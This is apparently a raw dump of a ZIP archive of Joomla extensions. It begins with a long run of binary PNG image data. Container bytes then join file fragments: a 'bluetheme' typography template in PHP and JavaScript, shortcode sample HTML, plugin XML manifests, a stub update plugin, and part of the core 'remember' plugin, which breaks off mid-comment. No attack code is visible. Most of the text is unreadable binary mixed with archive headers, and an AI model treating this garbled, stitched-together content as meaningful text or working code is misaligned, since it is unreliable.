[��Nteexn�(�措���B�d��MT��pʥ�nq�q�S�?���bW����XmW6��x*{V_���!V�jΧ�s�VL^j���
Xk�Qj�U��6���sk��̩n~�[�q�Ǹ�-��`
�O���:G�����7��l��"k�������sR�e�2��v�Q�=�QƼJ�U�X`�g�Qy~	ď�K��Ȱ��E�]�#�P��:�t���d�\T�/u������;�س�:�J�c-%'��e�q���
?j�"/yh���4��8�Zi�����1�|JU���u�>��_��N���;hxw�NU�J�QU7\�j�̮bT�:�����B�?6����o�J��1Ί%��I
UY-I���i4{�=�rǤ7��@)H�K�J+�f�4�X�8C�d�?'j��1�� ��N���<�3�9����E<�w߬��V���z�E}�^_e檴p��t붾3��9�,��?���g�l�Y�O��<���x�x�|���a؎��Ue����F����	�1�;��{EF�0`����D�R���+�U�YiD����4�?�Y`|B���s2��yip�I�q�>W�o�
�V���T��G��zg#�
%���D0#ܠ3���[t�i�آ�(U�,�]�125��|�N�̭fw�7w� �����u+�Š��]�D�b]��K� ��xbW�՛7|�В��X㕛���{U����c��G����X�k¬�|�(�h)IU�a)�lp 3��l���uPU�]D��)�/7~4W��t5�J}��V��
X�0���z� �VM���;>�Gԙ�^���|��gF:��jaZ�^)74C#j�wr,еS�l��G�u�;1���v�m><�)�}��<���VZue۠D�+j�y����J6V{j���K��>��Z���QՖ�&�mZ:���1�U�MB�~���
�a�:�/᜗:K�W�WOҠ&�����Y���2f����7cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘��g��*3f�F5�Lb���N��2#Tf=C�`!��ZG�Ue꣇�e��2V���<�1mkS����4iϗ*.�{N�8X�aj~���ڀ�nA�x,���%fE:�|�Y�DV�j
��¢�lg6�(:�k~���M�M��5?�4	]WO�>��诋W����Z�iG�|�Q�G�Je��K[Ycյ�pmjE\f/�ǎ8&�OQ�3� ���.3t��t2'�-V�8��p�X�S�r�Y#J!���Q�� �"�,ub�@F���K�:�u�^�iy��[]<.Cw�����+W\�)��b���
k�r-���.M�t�ڀ�M��q�ʄ������۰����#$�^X$��"�������V`�T�4�m��~�w%P�p1��|�+&Ux�Y��8��*�r�8:�����k7QЃҀT��������$��Ў��ƙ�
�S>~�S�����j�s�:5�q.w�&_Z.�X=����:ވbw�`��� _�kd�{'��0�:�d��s�#�q���i!224���nq�\�9�-��KUT�sSU��uVo�@;�U��z�>^��=��N������p��>o��P��O���
��@I��@���'G��j5�o�*U�>��^�*�e�w��>ͫʧ��᫠Q���5̈́���<$�#�5�J�ٻ�j�6e�)��_
��d]��2���B:���^�(*�:8J��Y�S鬆����Kݗ��]U4_�rj�{��5�ׇ�aǑ/�y�V��?��G�t��G����b@xPU��7O3�|�鍪	�I��Q5��Q��Gw�	*(;�w�f�0*�P�UU�<Y�Ɣ���v����b��t�5{2!�,}����Ҧ���:)��j2Ok�Ϊ�'֊0I.q\(�%ojQ���ĖՇ�a<��ԍ��ex�Agt��'�[d;׸�����`r�cd�����j��P�FU�$�UeJ�I6�T���&Z}���z��(�z�vfu�z� ��{}ۿߝ��ݞlx��U�Z�謊�.�Y岟b���%�����nw��@��ǩ��S9��|źs%�>�_�o#���9�\�EU~�/�ځ�t(r�[�Q��Zu��Oo;�����!MrU�]��0T��cpDő�?.���c��Pu���F������;����L_�������S��b}�R/�J_��+��h�2$�a��i��U�ǩ��S9>��Є}7�6r���zu����~国4��oĨ
1J����
��^�̘�~��iC޸�5��5<P�ھ�r�/�G��Y�k૵��5�mK
��2姪�Ϊ5,���?�1'�jÓQ���pT뾺��
*��~�I?H�ם�):����\�����J��:3�ѴUGo)X��.�Ë���*j�\��?}�㉎�G~A{Y#�W/3��鬶�!ʼ�=��C�g�u	*��u_��ޮ+�Qe�5�w�:���U���K��?U�W�1j\��S5/<�z7P^��<,S��j�UU8�����v,�2�_��_�i�뻊��^����R5^v��Nl>G׹]�g���w��s�nzTuO=�?/���zƲc>�Οb�#7ֻcg��k��ޛT�U�j���*-T=]���uu}��>ݨ�NЭ
��[
]�:%/_���S�z]6D.�m������D7Uƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1c��>�J4h�PP��+��A�;'�G_�XK��mL���5I.},wFFu��m$S�-�E�-;Õ
C3I-`�B��R��x1��ғT�Jݕ;hΊ�8�D�Y��J��o;����Yš5�M����K��ɰM��;���%P���d9K�h���n�D[z��gVh�,��'C�
p!^M�(�WK2�X�>UQ��%�^��p8	˽�^#�Ζ؄+.@���g�C�z%ɔ-Pr
���K�X��
����n��>���=�Ք�Ѩ��eSvR����L�z���5%9UQS ��\�W�ի��K�'�h�p)ô
J��r�h��
��M0�F��(f_�R5�/�//�G��+�����x	1"���eS�5��
��:T��f��=+�7�Qɧ�\�����TE����s�༬�r���Y�s8��&�k������#pSՊ5�M�T�b��D܊[Ng�5Q�\s��5PB@[�8ɨ�V1������&��4Wsy[�Ǿ
�w�U���2�V�����7��7��j������މd^~Yf��C��_��h;a.���&�M�
i� ��U�����Wpzs`>�/�"��'O�I����۲�y�����:�Bzd�����T��q£�=й��b:���"����m�/��-/P��W�DQ�Ǵ͐�5��7������m�`�H��%A���V��!�H�ԛ׿���@"Q��z��ދ|�ߒT���-�*OU�^��Ҧ6�����!��Cw�k�|h�&Hd5�LEY�y��'�ƣ7��%�*�<C'@�l���b!wL�WW(%���C��4������3\��������x���*������QF�Ҩ�<��m�������߃g?߉�����^�)D�}�{�U��֘|�Q����=C'@�|�uwL�ׂQ�E�=�?�x+�x�
"���g���S��O�Ҩj��׈
.�fqj[��Y�Gͤ�C���焓m>{�=)���Z�%ٝ��P	���*G���]����/��8L��w��$?8��M�)\į���/#�7U�fd7'6�\h1�
vI�f�EIr���=��1�w��\�WK��VZ�HK��g�Z��͡�$m��x���� %��
�`j}�TuT���QJZ��*H>*Q�xkLFT����y��U���-�)�ôb��iA���|q`��F�'���+	���4^Q�y�x��H)��#�t^��?@]^`A�R�S��q�jg�B:�r<h̆�Rn���z���PΦ�)��[+�n��M�X�H!����0��I����r��
��sKϡէU�R2��T	X�gƴڳE�cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1c�n��j����ǴyƌI��xQ�q�7fM���4E�F��.��34<.�i��;��eВi���1c%9����K	���͠2��J�C��n��w���E¤�c�F������`��5v6�%˿]�3��T��y��`�~���a���[[�J�>K�۷l<2�-4�Y��K�hgQ���L��x�V�w�P��~��M
�Φ�����0l 3�ƅ�aŊIT�ȀhwJ�m������xIM�չ��|��U7xˆS��~2�ߕ?�kW1k���C3]��;Y��nS���ґA�e�X�Yz�8,'�x�<
k7Kx�����]�$��x�$�v�g�T#w��;o����@�z�_V��m�n|�Hֵ��h��Zg-^TAn��-�)��@4�[*�9xK��Ƌ����j>�!,�Vt�:e�����qn8%oh���S�(2�\Q��^�aig����F��3��v�TUDV�l�Q�ꅧ�W�c��%�U��e�q�4�ҝº/�U�
�$�_�Q!��>�����t�|� �,țG<t�C���[�xTXmf|��<��Oڡ�MT�|(w:���_X���j7w���t�� �
AX�ͦ�p�$�^xZ�R�����j�x����`�3=�^��ll�+˗e�Q��8g8V��+�9M���/������o�14sn�b���tX�܍�s����vE�l+@\��e�,�,�cѮ�<�(��i�HVY�r��Q�O7�a��I��>Q%d�#jUՆ�|;H��[b���ά�#������,W�s7NT1~���m&ǻ�{' \��㟾��b�BKJ�o8�%�!���$��Q����j:��/�RX)$Sy�޳䍧�R��DUg_D��軦�J�\����j�N��֖SU;~�?��O��h�ss�d�ƣ}�6�(T
<��_�4���b5���� �^N���N�%8QejF�7to��My�ө�`)g�[��/������|���?��өJ���u�G����L�坕��/=�CTܠhd�ifH��cǞ�����G4��,�����`�D՞�{'x���G_p/5��@m +�$jV�H���3�a"��*ũ,�,��H�Jҵ�ȸ�T^Qy��o&IÉ�JUVwW���L�eM��~���3t�������A��6���r��wɤ�6���տ� ��\0H�L%L�X5�c����@�HHÃZ��|NV��+7WM��{����cig���*���ȸU���7iÉ��бz���d� *�?�gt��X���8�̝O��X��:��]2�ɍ]�p^��++��>���A���VڛE�{�����DB.�&�/������56���A�rxY#ܕ�y�)�cKQtȪ��~������! �;�C}ʃ��tf{�6��$N��Vsj��wup�Z)zŁ�|�-�w�g+n�MVj�/d+U������~ͯ�����i���:_ix��w��hq��r>�駃-�x�뼬)��ݷ�y��R=! ���ì:��J/l��Ik���V@�n��7�475��8�Z��K�J�(��Ux�z�1w�)^�\�ԣ��zȪ󲦨c���2f�؍�v�+�6f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘�2��N�
o�C��\�����F1�ִ�
�UZ�JV̚\�4����M����gq1z{&��Y��T
�,�HX~D�u�\��g�}x�>�+Y���dN�̮��o�l
�Z�X+F��[�/j�+S~2/jV��8�J�r^�����ԉ]J}J��*ۏ<��2԰&�Jݣ�jO��M@�ѯ#0��O�[��S������X�B^
uz�e��\����]��d��d.���/���xXE
�f'v��O�_����H�${�%;�k�t�7ށ�m��ő|��d{a�ފ�^���Ǜ�ڎE��5ʋ��Br]W���=�_����SA���f(�0  ��oU�5�q,�_\�l�uz�˪uz���㻲���o�=Yi��~|��
0+�=V�����J�ت��/��ލ��zM��\�zC�L���[U�:|k*^8"��\Wٚ\
.��XTjX�5�Sk�F�u\�1� ���q'��m�ģ/�Q���Uؕ�*�AɽDNZ׮?_�[#�
ˍ4�:�^j|�5�L�G���||���ø�BW{6[uQF����.1��$qF��9���IHg)\�����5��>C�#��u�X�Z��$�#*<�ߐ�sR�v�1Tj>J��m>*����#��(��
��[F�h�sש�5��*jQʼ�&���&�&P��犛L��[�Q��1*���� ��;����X}�I�ΰ�[Q�?�q�Q�Z
H���ݙ���֞V��EsB��C�Z9��JTK������tu���p��˷��/�O���,.k�Ud�s�OHMg4=-)�+ؿ�h2��N��w�/r|W�Qn=�GIU�;��'���j,��v��f�dz���p�e����$���VGTY�sBZ�O�1p�j:����r���"n�TUSCg��r�ve���A�ۘ��˜F�C+Ֆ#�[J���Te�'v9-�3	D�m�ӻ�u�uz������?��0�� �o��	����h�x�u�Y��&�����_�54�=f��07��kלU��0��]D:����j�dw�/+��P��GUV��S��<��\2�u��at�c�^zY�R�ąmC�+��7����#��,|��:��i�N��w��*|^s��m�|�X>Ъ�^��1�\�#���͹�	&���%�{,2��U��>�ݎ.c0�5�z�#�
o�g��N��O+��Q�쓭�� ������,��˗�-%K\����[S_`�y��+��b���_9��4����"�U��+��Ύap�}�I����[�M,B��.�Nt���w�H��j�漬���E�����L��߀0DX(�k�ڵ�����NoU��{�gquz
R�wkէRx'�uZ�[����3'��z�yy��ד%�<U��hN[���tz�x1� c�c���]Fݯ�B�"]a[J����Dս[cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3V�es{L+3VH
]YP�A	�>�s�����ƕ��3jYF\��s��=m1�&��V���Aɼ?k\+]�6y�モ��1���gt�OIW7�a�l|1��� ���>$]e�7��؝�W�I�e?ަ�L#��>|���
�ҭ��]��
p�M5M�U�dI���61�Ԡ�eǼY�G���h�O�n��3�խR:^�k_'Yuuq#���p�#
�J�����2�x����l>�Oj�����cY��馃��!�ڡ+�sZ/�����D�}��2��A�Y
m����p�c#�<'x��SKx��`�*W[,e|��6�B�H)㶤kj���p��D�U(2qzx��9����*tqa�/,�
Z[��	0�>��Ө�֜����xN)f�ă��@qը���FU՝��w(��a;ˋ�>�|T�c|�w2���eiT]*�!_\�WG{
�
��]��^���݅��Z5���t|��6�oYH�����a�����O@�=���my^ak����E�.����u��z�]#٥��hWv�(��:�,��6�A��߉J��Fa���\�w��W��ex>v�<��?|����&i_�q�z����]e�R_�7�|& c*�kր4f���,J �U���_�h��\1A�������������u\��-�L\Ϝ^��~�P�hr��*tqa0��fT��:�MU��;q�>�et�u�M��Y��A>����).,��;ɦ�C�bw�jE)��W����
��Fӫ@�s4��e�6^�Q9oI}4�x<���.�B?��B��߫�#��$��Hx�.x9,��a!�RT�pgd5������xB��e�����.L7@�*�
Asdutt�S��VUa�RU|��I	xG�߃$T����񭟬���#_��IF�MŒ�_X�@f�o���Q�ID�I��I?|�%����$�r�	���{�����E��Nĸ�wޕ�qq�?����D�ؽ}�}o�/`ӣ�CT�i	���<Q�R{\yY�����F���QJkh����^?Us:�E��|]��V�)Z|H�jsW����|�H'|��o����=d|�߼j �#�T��%�O��	W��!�N#�w�1[i�H(��SV����s�����[=�Ɉ����7���1�ȳ���T]A G�換�3����CT׻�lR�ݕCV9Q�\V#ܛ��N�ӏj�ˇ1�/�s�l�R���%^s1���nU�j����,�x}��f��W�|JuK�w���p����S��m,�<��7<���
��Ȼ�����[�R<&���p��?���'��,�Й��\�;����5�bH$�3�#�Q�4\���_���>�/�yw�O�
�rD
9���YUD]��	Ή���@s���]��+'UaL}�h��r�U����'7�:��sU|k)H��@����h�N�q�#�ϵ�8��y�˭�X���ű#��w��
�1!�흉�R'7��f�u�ד��0�����p�!W��ÖW+Nm�p�\����-�ioD$����g�٠˅%�%�Ð�m��V�]�̱��r�w*��Z�}��y�+L�
N��o�u�j�}�xt���)lS��tuq���x����m�NyK�U��OnDb�hf}�k�>�6��u�fT�%����{��� <񐮸���mj��F�c�mU�ï����c��;�w��8��@dG�FUA��&��� �����=n�q�5]iP���}�z�:�k⼶��-��ʓ�	Κl*'U��z�ax�W���F�dZ��zT�NR�s+��#��� w�zgi:��MB��q���t��M�
�l#��^�'G�ߣ�*^�t�{����=�rE���R��n�Q�$adJl�02%��Tڊ^����<�~g�?�O�f*U�^��?��:��N�����+�o�[�P�U�s�|�Q��R']�V�-L)H
�K�䐞
mY��n�\��4}Y��V�D��h��R��;g��-��'�3aס�M�D�h�}�1cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ3f̘1cƌ��k�*Ț4�`L�$�b�	���U���4\dt���'���>�HȄ|�.��+Y+/�G��y���2�OCWv���3v,�'kia�������W����O6߯E�=Hv
$L�l�xI��躍/��}�^]����x��\3���ɮ5�� ���Q�T&G�9A�y^������i�}O��[5ޱ�wq�4,sJJ��I.myE�^�%���'V�B~�d�ׯ��}�*�j��*�	~��u��T�k���\f�KЬ�*��Y]����_v'I��˨����鑩6�X��o��'�j&u��ɧn�g��T]�o��ڌ��9����\*�wVHӖ�|�	�>��:�5EF�'J
����ɝ`���!��A������ �
���e~��_;���5�ױϊ����镋m_&�O����Vi����<}"�靍��hW9�X�6��KPƣ
G�"�ƭ�?��/����O�^��hC�H���L��c���i��P��j��)}���Q�Qզ��#tM��g��9���xGw�����~d;_�J+�RỲ�<���;�e�����5/Qs�/5��N[��!�a+�N�P�b+�Ѻ��I�}����-��t_�q�U=�MK�ʞ�Y���5no��*����v��v�b�ʊ{]��|�~	Z��{-�����끇^����FVviϵ3��Ya�����=6n���dS;�-�ʹ^;�uꪪ^
�|�=��_�w+��"�����i�&4��l�#�w��i�r|W��3U�$�"J�~���O@]~t��RJV��MH�w:̦����@?��>�O���?�vdr��tS�*$�&~1>��������Z}^�n�L(��]�f*�&�*�Q��a�I����Ꝅ|��3�*����O���?������r�?�*�4�Gyz[�k/t�k��Q��ϖ��WC�C�K�k/�x��5�|��S�*`��Ϲγ�Q����E�w���y�
o��K�YqT�b����$����-/Pt�sZN�K��Q��*>��ݢ���U�@�Џ"JQ;���¹&�
�Lx�;+T�/+���O�赟��>�(T���?ķD^N*�'�p����$I���W֐��W~�=��J|��_��UTe��7ְP`�;CYjk�=�s�U[��mߙ-���;�};�2|���w��o�1�p�0��~>��0��m��
@J�rǟ�cٷ4�͜��?q��\�UU�IV?2��L��/�+Шꄾ<�܇^T���
�?t�j\�Jr���Ҁ���B*�����=k�m����X�,n}a����Ւ�Ia��d�p׷��l�l{\�6v8��R��ꅟ����Ҳ��f�1��F|Տ�;�e�=\D��,D�:ψ��r�xQ�T◎�*|{n��S
9~�=�}ӕ��G~%j�:D��j�<�ឫ:��jO%���
�$T8!j����vm��|'O��З��¹➱z\vsIv`�Ȕ�ʨj��-�^�$-��^���G�Q��{�m���`��T��#�c�֞�㸝�|n�.ߪN�$�O������JUV���ʼ�t,����j�g�-����mסּ�NV�����z�:����(�Ι*|1U�x�=�Y��k*����t�
�M����N��N�DU�hK��� ؞X(刄Rv�!�#B_��c�xR����Ź���o��E5Dg>�?�f���XQ��Q�˔|@�"�աM�����veC�>��m�O$H��#]Y���I=��)_���`���k���*
�:a�>!X���!��W�^���wҒ��l'�<;�vwgI��t�_�?Jh��`��#E:fdx=��6Wu<�������Ӌ�d2�di���˂�c#h¬c4���?<���H���FYo��Vp�N�;�ݷJ\�� ����>�`(���t�3{�>⦊��;;q��F���x�4�Yc����S�$w�.�����d��a*k���|��Q�,��+x�s^��K߫��P^���n�O֮L5m�I�wl?-.ʲ���J8�F�����B.-:2��Ȕ�!����/A�#b��_m%�I�(���$|�PZ[����1�G�{^�#�����o>�3�m�w?'�cx���[�^�:W�k/�`'=���~֥��W�(�gQ���bf�v7U�z��M�3����+؍�K�:��4|G�Ct��A�+K�ʨ�{@���Ɩ�[0�5��E�|yn4MIEND�B`�PK!��W2bluetheme/tmpl/default.phpnu&1i�<?php
/**
 * ------------------------------------------------------------------------
 * ST Typo Plugin for J25 & J30
 * ------------------------------------------------------------------------
 * Copyright (C) 2013 cmsbluetheme All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: cmsbluetheme
 * Author Email: contact.bluetheme@gmail.com
 * Websites: http://www.cmsbluetheme.com
 * ------------------------------------------------------------------------
 */
defined('_JEXEC') or die('Restricted access');

	$base_url = JURI::base();
	
	$app = JFactory::getApplication();	
	if($app->isAdmin()) {
		$base_url = dirname ($base_url);
	}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="<?php echo $base_url;?>/plugins/system/bluetheme/assets/style.css" type="text/css" />
<script type="text/javascript" src="<?php echo $base_url;?>/media/system/js/mootools-core.js"></script>

<title>CMSBluetheme Typography style</title>
</head>
<body>
<?php
	$file = dirname(dirname (__FILE__)).DS.'tmpl'.DS.'default.html';
	$html = file_get_contents ($file);
	if (preg_match ('/<body[^>]*>(.*)<\/body>/s', $html, $matches)) $html = $matches[1];
	//add typo css
	
	
?>

<div id="st-typo-wrap">
<?php echo $html?>
</div>	
<script type="text/javascript">
window.addEvent ('load', function () {
	var STTypo = new Class ({
		initialize: function(options) {
			this.wrapper = $('st-typo-wrap');
			if (!this.wrapper) return;
			this.typos = this.wrapper.getElements ('.typo');
			this.typos.addEvents ({
				'click': function (){
					var sample = this.getElement ('.sample');
					var html = sample.innerHTML;
					window.parent.insertTypoHTML(html.trim());
					console.log(this);
					window.parent.SqueezeBox.close();		
				}
			});		
		}
	});
	new STTypo();
});
window.parent.LoadJSEditor();
</script>
</body>
</html>
PK!�klb��bluetheme/tmpl/~$efault.htmlnu&1i�phamtienducphamtienducw3�����7=�.�	�(07�^�4=�.�
�PK!�#o,,bluetheme/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��]��bluetheme/tmpl/default.htmlnu&1i�<html>
<head>
<title>ShineTheme Typography sample</title>
</head>
<body>
<div class="st-typo-blockswrap clearfix">
	<div class="st-typo-blockrow cols-3 clearfix">
		<!-- Option -->
		<div class="st-typo-block">
			<div class="st-typo-blockct clearfix">
				<h2 class="st-typo-title"><span>Options</span></h2>
				<div class="typo">
					<span class="title">Tabs</span>
					<div class="sample">
						[tabs position='top']<br/>[tabst_item title='ITEM_TITLE']ADD_CONTENT_HERE[/tabst_item]<br/>[tabst_item title='ITEM_TITLE']ADD_CONTENT_HERE[/tabst_item]<br/>[tabst_item title='ITEM_TITLE']ADD_CONTENT_HERE[/tabst_item]<br/>[/tabs]
					</div>
				</div>
				<div class="typo">
					<span class="title">Accordion</span>
					<div class="sample">
						[accordion]<br/>[acc_item title='ITEM_TITLE']ADD_CONTENT_HERE[/acc_item]<br/>[acc_item title='ITEM_TITLE']ADD_CONTENT_HERE[/acc_item]<br/>[acc_item title='ITEM_TITLE']ADD_CONTENT_HERE[/acc_item]<br/>[/accordion]
					</div>
				</div>
				<div class="typo">
					<span class="title">Gallery</span>
					<div class="sample">
						[gallery]<br>[item_gallery title='TITLE_IMAGE_1']LINK_IMAGE_1[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_2']LINK_IMAGE_2[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_3']LINK_IMAGE_3[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_4']LINK_IMAGE_4[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_5']LINK_IMAGE_5[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_6']LINK_IMAGE_6[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_7']LINK_IMAGE_7[/item_gallery]<br>[item_gallery title='TITLE_IMAGE_8']LINK_IMAGE_8[/item_gallery]<br>[/gallery]
					</div>
				</div>
				<div class="typo">
					<span class="title">Module</span>
					<div class="sample">
						[module]MODULE_POSITION[/module]
					</div>
				</div>
			</div>
		</div>
		<!-- End Option -->


		<!-- Video -->
		<div class="st-typo-block">
			<div class="st-typo-blockct clearfix">
				<h2 class="st-typo-title"><span>Video</span></h2>
				<div class="typo">
					<span class="title">Youtube</span>
					<div class="sample">
						[youtube height='HEIGHT' width='WIDTH']PLACE_LINK_HERE[/youtube]
					</div>
				</div>
				<div class="typo">
					<span class="title">Vimeo</span>
					<div class="sample">
						[vimeo height='HEIGHT' width='WIDTH']PLACE_LINK_HERE[/vimeo]
					</div>
				</div>
				<div class="typo">
					<span class="title">Media</span>
					<div class="sample">
						[media_popup link='PLACE_LINK_HERE']PLACE_CONTENT_HERE[/media_popup]
					</div>
				</div>
			</div>
		</div>
		<!-- End Video -->

		<!-- Html -->
		<div class="st-typo-block">
			<div class="st-typo-blockct clearfix">
				<h2 class="st-typo-title"><span>HTML</span></h2>
				<div class="typo">
					<span class="title">Columns</span>
					<div class="sample">
							[columns]<br>[column_item col='4']First[/column_item]<br>[column_item col='4']Second[/column_item]<br>[column_item col='4']Third[/column_item]<br>[/columns]
					</div>
				</div>
				<div class="typo">
					<span class="title">Blockquote</span>
					<div class="sample">
						[blockquote align='center' color='#999999']ADD_CONTENT_HERE[/blockquote]
					</div>
				</div>
				<div class="typo">
					<span class="title">Testimonial</span>
					<div class="sample">
						[testimonial author='AUTHOR_NAME' position='AUTHOR_POSITION']ADD_CONTENT_HERE[/testimonial]
					</div>
				</div>
				<div class="typo">
					<span class="title">Alert</span>
					<div class="sample">
						[alert type='TYPE_ALERT' title='TITLE_ALERT']ADD_CONTENT_HERE[/alert]
					</div>
				</div>
				<div class="typo">
					<span class="title">Divider</span>
					<div class="sample">
						[divider]---------[/divider]
					</div>
				</div>
				<div class="typo">
					<span class="title">Title</span>
					<div class="sample">
						[title class='' margin='']ADD_TITLE_HERE[/title]
					</div>
				</div>
				<div class="typo">
					<span class="title">Code</span>
					<div class="sample">
						[code]<br>ADD_CODE_HERE<br>[/code]
					</div>
				</div>
			</div>
		</div>
		<!-- End HTML -->
	</div>
</div>

<div class="st-typo-blockswrap clearfix">
	<div class="st-typo-blockrow cols-2 clearfix">
		<div class="st-typo-block">
			<div class="st-typo-blockct clearfix">
				<h2 class="st-typo-title"><span>com_k2</span></h2>
				<div class="typo">
					<span class="title">K2 Recent</span>
					<div class="sample">
						[recent_article title='' extension='com_k2' category_id='4' visible='' scroll='' auto='' animation='600' limit='10' type='type' style='style'] [/recent_article]
					</div>
				</div>
				<div class="typo">
					<span class="title">K2 Article Box</span>
					<div class="sample">
						[article_box extension='com_k2' article_id='' type='' style=''] [/article_box]
					</div>
				</div>
			</div>
		</div>
		<div class="st-typo-block">
			<div class="st-typo-blockct clearfix">
				<h2 class="st-typo-title"><span>com_content</span></h2>
				<div class="typo">
					<span class="title">Content Recent</span>
					<div class="sample">
						[recent_article title='' extension='com_content' category_id='4' visible='' scroll='' auto='' animation='600' limit='10' type='type' style='style'] [/recent_article]
					</div>
				</div>
				<div class="typo">
					<span class="title">Content Article Box</span>
					<div class="sample">
						[article_box extension='com_content' article_id='' type='' style=''] [/article_box]
					</div>
				</div>
			</div>
		</div>
	</div>
</div>
</body>
</html>PK!�Gh�UUbluetheme/fields/params.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/bluetheme/fields">
	<fieldset name="stmegamenu" label="BT Options">        
		<field name="bt_logo" class="" type="media" default=""
			label="Logo"
			description="Choose Logo" />    
        <field name="bt_logo_1" class="" type="media" default=""
            label="Logo 2"
            description="Choose Logo" />  
        <field name="bt_bgheader" class="" type="media" default=""
            label="Background Header"
            description="Choose Logo" />

        <field name="bt_layout" type="list" label="Layout" description="">
        	<option value="0" >Choose Layout</option>
            <option value="index5">Index 05</option>
            <option value="index14" >Agency - Side Menu</option>
		</field>
	</fieldset>
	</fields>
</form>
PK!bluetheme/fields/index.htmlnu&1i�PK!.���99bluetheme/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!
[��#bluethemeupdate/bluethemeupdate.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>BT Update</name>
	<creationDate>Aug 2013</creationDate>
	<author>Pham Tien Duc</author>
	<copyright>Copyright (C), CMSBlueTheme  All Rights Reserved.</copyright>
	<license>GNU/GPL V3</license>
	<authorEmail>contact.bluetheme@gmail.com</authorEmail>
	<authorUrl>www.CMSBlueTheme.com</authorUrl>	
	<version>3.0.0</version>
	<description>
	</description>
	<scriptfile>installfile.php</scriptfile>
	<files>
		<filename plugin="bluethemeupdate">bluethemeupdate.php</filename>
		<filename plugin="bluethemeupdate">index.html</filename>
	</files>
	<updateservers>
	   <server type="collection">http://update.joomlart.com/service/tracking/list.xml</server>
	</updateservers>
</extension>
PK!��Kْ�#bluethemeupdate/bluethemeupdate.phpnu&1i�<?php
/**
 * @author cmsbluetheme - www.cmsbluetheme.com
 * @date: Aug 2013.
 * @copyright  Copyright (C) 2013 cmsbluetheme.com . All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

defined( '_JEXEC' ) or die( 'Restricted access' );
jimport('joomla.event.plugin');
jimport('joomla.plugin.plugin');

class plgSystemBluethemeupdate extends JPlugin
{
	
}
?>PK!bt�bluethemeupdate/installfile.phpnu&1i�<?php
/**
 * @version 1.1.0 
 * @package Joomla
 * @author cmsBlueTheme
 * @subpackage ST Locator
 * @copyright (C) 2013 the cmsBluetheme
 * @license GNU/GPL see LICENSE.php
 */


defined('_JEXEC') or die('Restricted access');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );

class plgSystemBluethemeUpdateInstallerScript
{
    public function postflight($action, $parent)
    {
    }
    public function install($parent)
    {
    }

    public function uninstall($parent)
    {
    }
}PK!�#o,,bluethemeupdate/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!Z�jremember/remember.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_remember</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_REMEMBER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="remember">remember.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_remember.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_remember.sys.ini</language>
	</languages>
</extension>
PK!"�&0
0
remember/remember.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.remember
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Log\Log;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\User\UserHelper;

/**
 * Joomla! System Remember Me Plugin
 *
 * @since  1.5
 */

class PlgSystemRemember extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    \Joomla\Database\DatabaseInterface
	 * @since  4.0.0
	 */
	protected $db;

	/**
	 * Remember me method to run onAfterInitialise
	 * Only purpose is to initialise the login authentication process if a cookie is present
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @throws  InvalidArgumentException
	 */
	public function onAfterInitialise()
	{
		// No remember me for admin.
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		// Check for a cookie if user is not logged in
		if ($this->app->getIdentity()->get('guest'))
		{
			$cookieName = 'joomla_remember_me_' . UserHelper::getShortHashedUserAgent();

			// Check for the cookie
			if ($this->app->input->cookie->get($cookieName))
			{
				$this->app->login(['username' => ''], ['silent' => true]);
			}
		}
	}

	/**
	 * Imports the authentication plugin on user logout to make sure that the cookie is destroyed.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
